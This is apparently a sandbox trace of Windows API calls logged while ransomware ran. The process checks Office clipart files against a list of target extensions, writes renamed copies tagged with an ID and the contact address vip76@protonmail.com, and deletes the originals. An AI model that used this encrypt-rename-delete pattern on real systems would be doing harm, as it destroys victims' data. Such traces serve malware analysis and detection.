	[0195.583] lstrlenW (lpString=".xlsx") returned 5
	[0195.583] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0195.583] lstrlenW (lpString=".ppt") returned 4
	[0195.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.583] lstrlenW (lpString=".zip") returned 4
	[0195.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.583] lstrlenW (lpString=".rar") returned 4
	[0195.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.583] lstrlenW (lpString=".bz2") returned 4
	[0195.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.583] lstrlenW (lpString=".7z") returned 3
	[0195.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.584] lstrlenW (lpString=".dbf") returned 4
	[0195.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.584] lstrlenW (lpString=".1cd") returned 4
	[0195.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.584] lstrlenW (lpString=".jpg") returned 4
	[0195.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.584] lstrlenW (lpString=".doc") returned 4
	[0195.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.584] lstrlenW (lpString=".docx") returned 5
	[0195.584] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0195.584] lstrlenW (lpString=".pdf") returned 4
	[0195.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.584] lstrlenW (lpString=".xls") returned 4
	[0195.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.584] lstrlenW (lpString=".xlsx") returned 5
	[0195.584] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0195.584] lstrlenW (lpString=".ppt") returned 4
	[0195.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.584] lstrlenW (lpString=".zip") returned 4
	[0195.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.585] lstrlenW (lpString=".rar") returned 4
	[0195.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.585] lstrlenW (lpString=".bz2") returned 4
	[0195.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.585] lstrlenW (lpString=".7z") returned 3
	[0195.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.585] lstrlenW (lpString=".dbf") returned 4
	[0195.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.585] lstrlenW (lpString=".1cd") returned 4
	[0195.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.585] lstrlenW (lpString=".jpg") returned 4
	[0195.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.585] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.585] lstrlenW (lpString="J0107152.WMF") returned 12
	[0195.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0195.587] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=22532) returned 1
	[0195.587] CloseHandle (hObject=0x368) returned 1
	[0195.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220
	[0195.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0195.588] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.588] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0195.589] GetLastError () returned 0x0
	[0195.589] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x5804, lpOverlapped=0x0) returned 1
	[0195.795] WriteFile (in: hFile=0x5b0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x5810, lpOverlapped=0x0) returned 1
	[0195.796] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.796] WriteFile (in: hFile=0x5b0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.796] SetEndOfFile (hFile=0x5b0) returned 1
	[0195.796] CloseHandle (hObject=0x5b0) returned 1
	[0195.796] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.796] SetEndOfFile (hFile=0x368) returned 1
	[0195.799] CloseHandle (hObject=0x368) returned 1
	[0195.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1
	[0195.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.801] lstrlenW (lpString=".doc") returned 4
	[0195.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.801] lstrlenW (lpString=".docx") returned 5
	[0195.801] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0195.801] lstrlenW (lpString=".pdf") returned 4
	[0195.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.801] lstrlenW (lpString=".xls") returned 4
	[0195.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.801] lstrlenW (lpString=".xlsx") returned 5
	[0195.801] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0195.801] lstrlenW (lpString=".ppt") returned 4
	[0195.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.801] lstrlenW (lpString=".zip") returned 4
	[0195.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.801] lstrlenW (lpString=".rar") returned 4
	[0195.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.801] lstrlenW (lpString=".bz2") returned 4
	[0195.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.802] lstrlenW (lpString=".7z") returned 3
	[0195.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.802] lstrlenW (lpString=".dbf") returned 4
	[0195.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.802] lstrlenW (lpString=".1cd") returned 4
	[0195.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.802] lstrlenW (lpString=".jpg") returned 4
	[0195.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.802] lstrlenW (lpString=".doc") returned 4
	[0195.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.802] lstrlenW (lpString=".docx") returned 5
	[0195.802] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0195.802] lstrlenW (lpString=".pdf") returned 4
	[0195.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.802] lstrlenW (lpString=".xls") returned 4
	[0195.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.802] lstrlenW (lpString=".xlsx") returned 5
	[0195.802] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0195.802] lstrlenW (lpString=".ppt") returned 4
	[0195.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.802] lstrlenW (lpString=".zip") returned 4
	[0195.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.802] lstrlenW (lpString=".rar") returned 4
	[0195.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.802] lstrlenW (lpString=".bz2") returned 4
	[0195.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.803] lstrlenW (lpString=".7z") returned 3
	[0195.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.803] lstrlenW (lpString=".dbf") returned 4
	[0195.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.803] lstrlenW (lpString=".1cd") returned 4
	[0195.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0195.803] lstrlenW (lpString=".jpg") returned 4
	[0195.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.803] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.803] lstrlenW (lpString="J0107258.WMF") returned 12
	[0195.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0196.048] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=8552) returned 1
	[0196.048] CloseHandle (hObject=0x5d8) returned 1
	[0196.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 0x220
	[0196.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0196.756] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.756] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0196.759] GetLastError () returned 0x0
	[0196.759] ReadFile (in: hFile=0x5ec, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2168, lpOverlapped=0x0) returned 1
	[0196.760] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2170, lpOverlapped=0x0) returned 1
	[0196.762] ReadFile (in: hFile=0x5ec, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.762] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0196.762] SetEndOfFile (hFile=0x36c) returned 1
	[0196.762] CloseHandle (hObject=0x36c) returned 1
	[0196.762] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.762] SetEndOfFile (hFile=0x5ec) returned 1
	[0196.765] CloseHandle (hObject=0x5ec) returned 1
	[0196.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1
	[0196.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.766] lstrlenW (lpString=".doc") returned 4
	[0196.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0196.766] lstrlenW (lpString=".docx") returned 5
	[0196.766] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0196.766] lstrlenW (lpString=".pdf") returned 4
	[0196.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0196.766] lstrlenW (lpString=".xls") returned 4
	[0196.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0196.766] lstrlenW (lpString=".xlsx") returned 5
	[0196.766] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0196.766] lstrlenW (lpString=".ppt") returned 4
	[0196.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0196.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.766] lstrlenW (lpString=".zip") returned 4
	[0196.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0196.766] lstrlenW (lpString=".rar") returned 4
	[0196.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0196.766] lstrlenW (lpString=".bz2") returned 4
	[0196.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0196.766] lstrlenW (lpString=".7z") returned 3
	[0196.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0196.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.767] lstrlenW (lpString=".dbf") returned 4
	[0196.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0196.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.767] lstrlenW (lpString=".1cd") returned 4
	[0196.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0196.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.767] lstrlenW (lpString=".jpg") returned 4
	[0196.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0196.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.767] lstrlenW (lpString=".doc") returned 4
	[0196.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0196.767] lstrlenW (lpString=".docx") returned 5
	[0196.767] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0196.767] lstrlenW (lpString=".pdf") returned 4
	[0196.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0196.767] lstrlenW (lpString=".xls") returned 4
	[0196.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0196.767] lstrlenW (lpString=".xlsx") returned 5
	[0196.767] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0196.767] lstrlenW (lpString=".ppt") returned 4
	[0196.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0196.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.767] lstrlenW (lpString=".zip") returned 4
	[0196.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0196.767] lstrlenW (lpString=".rar") returned 4
	[0196.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0196.767] lstrlenW (lpString=".bz2") returned 4
	[0196.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0196.767] lstrlenW (lpString=".7z") returned 3
	[0196.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0196.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.768] lstrlenW (lpString=".dbf") returned 4
	[0196.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0196.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.768] lstrlenW (lpString=".1cd") returned 4
	[0196.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0196.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0196.768] lstrlenW (lpString=".jpg") returned 4
	[0196.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0196.768] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0196.768] lstrlenW (lpString="J0107266.WMF") returned 12
	[0196.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0196.769] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=5868) returned 1
	[0196.769] CloseHandle (hObject=0x5ec) returned 1
	[0196.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 0x220
	[0196.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0196.774] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.774] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0196.775] GetLastError () returned 0x0
	[0196.775] ReadFile (in: hFile=0x5ec, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x16ec, lpOverlapped=0x0) returned 1
	[0197.061] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x16f0, lpOverlapped=0x0) returned 1
	[0197.062] ReadFile (in: hFile=0x5ec, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.062] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.062] SetEndOfFile (hFile=0x36c) returned 1
	[0197.160] CloseHandle (hObject=0x36c) returned 1
	[0197.160] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.160] SetEndOfFile (hFile=0x5ec) returned 1
	[0197.200] CloseHandle (hObject=0x5ec) returned 1
	[0197.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1
	[0197.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0197.211] lstrlenW (lpString=".doc") returned 4
	[0197.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.211] lstrlenW (lpString=".docx") returned 5
	[0197.211] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0197.211] lstrlenW (lpString=".pdf") returned 4
	[0197.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.211] lstrlenW (lpString=".xls") returned 4
	[0197.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
